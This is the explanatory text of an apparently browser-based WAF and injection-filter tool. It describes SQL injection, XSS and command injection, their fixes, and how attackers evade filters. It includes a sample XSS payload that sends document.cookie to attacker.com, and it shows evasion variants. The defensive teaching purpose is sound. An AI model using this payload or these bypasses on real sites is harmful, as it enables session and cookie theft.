Injection Payload Filter

Chapter 1: The Biology of a WAF - Regex as an Immune System

A Web Application Firewall is effectively the immune system of your web server. It doesn't understand the application's business logic; it simply looks for "foreign objects" in the data stream. These objects are defined by Attack Signatures. For instance, the sequence ' OR 1=1 -- is the "flu virus" of the internet—it is recognizable, predictable, and almost always malicious.

1. The Limitations of Signature-Based Defense

While Regex is incredibly fast (as demonstrated by our <1ms latency on this page), it is inherently reactive. An attacker can use Obfuscation—techniques like URL encoding, hexadecimal conversion, or case-switching (e.g., SeLeCt instead of SELECT)—to bypass simple filters. This is why modern defense requires Normalization, where the WAF converts all input to a standard format before applying its filters.

Chapter 2: Deciphering the Payload Catalog

To use the Injection Filter effectively, you must understand the three distinct attack vectors we simulate:

1. SQL Injection (SQLi)

SQLi occurs when a user input is directly concatenated into a database query string. The attacker uses special characters like the single quote (') or double hyphen (--) to break the query's structure and inject their own commands. Clinical Solution: Never use string concatenation; use Parameterized Queries (Prepared Statements).

2. Cross-Site Scripting (XSS)

XSS is an attack where malicious scripts are injected into trusted websites. If your application reflects user input back onto the page (e.g., "Welcome, [Username]") without encoding, an attacker can set their username to <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>. Clinical Solution: Always HTML Entity Encode user-generated content before rendering.

3. Command Injection

This is the most dangerous form of injection, allowing an attacker to execute operating system commands (bash, shell, PowerShell) on your server. Triggers usually involve shell operators like ;, |, or &&. Clinical Solution: Avoid using system-level functions (like exec() or eval()) with user-provided arguments.

Chapter 3: The "Sanitization" Tier of Defense

Our tool provides a Sanitization Preview. This is the second line of defense. If the WAF doesn't block the request, the application should still Encode the input. By converting a < symbol into <, you prevent the browser from interpreting the characters as a code tag. This transforms a malicious payload into harmless, literal text. Linguistic Note: In modern security, "escaping" data is more reliable than "stripping" data.

Chapter 4: The Physics of Obfuscation

Professional attackers don't use the simple payloads provided in textbooks. They use Encoding Stacking to bypass filters. A WAF might block <script>, but will it block %3Cscript%3E? Or <script>? Or a script tag broken by comments like <scr/**/ipt>? Our WAF Simulator is designed to help you test if your specific regex patterns are broad enough to capture these variants without causing False Positives (blocking legitimate user data).

Chapter 5: Why Local-First Privacy is Non-Negotiable

Your security tests and payload variants are sensitive intellectual property. Most "Online SQLi Testers" record your inputs to build databases of "Known Payloads," which can be harvested by malicious actors. Toolkit Gen's Injection Payload Filter is a local-first application. 100% of the regex auditing and sanitization logic happen in your browser's local RAM. No data is ever uploaded to a server or used to train models. This is Zero-Knowledge Security Auditing for the sovereign developer.

Frequently Asked Questions (FAQ) - Security Logic